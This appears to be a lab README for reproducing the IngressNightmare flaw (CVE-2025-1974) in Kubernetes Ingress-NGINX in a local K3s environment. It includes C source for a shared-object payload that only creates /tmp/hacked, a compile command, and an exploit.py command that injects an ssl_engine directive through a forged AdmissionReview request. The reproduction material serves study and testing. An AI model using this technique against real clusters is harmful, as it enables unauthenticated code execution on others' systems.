Kubernetes Ingress-NGINX Unauthenticated Remote Code Execution (CVE-2025-1974)

中文版本(Chinese version)

Ingress-NGINX is an ingress controller for Kubernetes that uses NGINX as a reverse proxy and load balancer.

The "IngressNightmare" vulnerability (CVE-2025-1974) stems from a critical flaw in the Ingress-NGINX Admission Controller, a core Kubernetes security mechanism responsible for validating incoming Ingress resources. This controller is exposed over the network without requiring authentication, allowing attackers to craft malicious AdmissionReview requests and inject unauthorized configurations into Ingress resources. When chained with other vulnerabilities (CVE-2025-24514, CVE-2025-1097, or CVE-2025-1098), this can lead to remote code execution.

Some exploitable chains are known:

References:

Environment Setup

To simulate the vulnerability, a K3s-based Kubernetes environment is used for simplicity:

docker compose up -d

The script will wait for the Kubernetes API to be ready and for the ingress-nginx controller to start. Once the environment starts, Ingress-NGINX listens on ports 30080 and 30443 (TLS), and the Ingress-NGINX Admission Controller also reverse proxies to port 30443，for example https://localhost:30443/networking/v1/ingresses.

Vulnerability Reproduction

First, a shared object (.so) payload matching the container's architecture needs to be compiled.

#include<stdio.h>
#include<stdlib.h>

__attribute__((constructor)) static void reverse_shell(void)
{
    system("touch /tmp/hacked");
}

Use the following command to compile the source code:

gcc -shared -fPIC -o shell.so shell.c

After compiling the source code above with the appropriate environment, use exploit.py to exploit the vulnerability:

python exploit.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so

The exploit works by forging an AdmissionReview request to inject an ssl_engine directive, which forces NGINX to load the malicious dynamic shared object. Upon successful exploitation, you should observe the creation of a /tmp/hacked file inside the ingress-nginx container.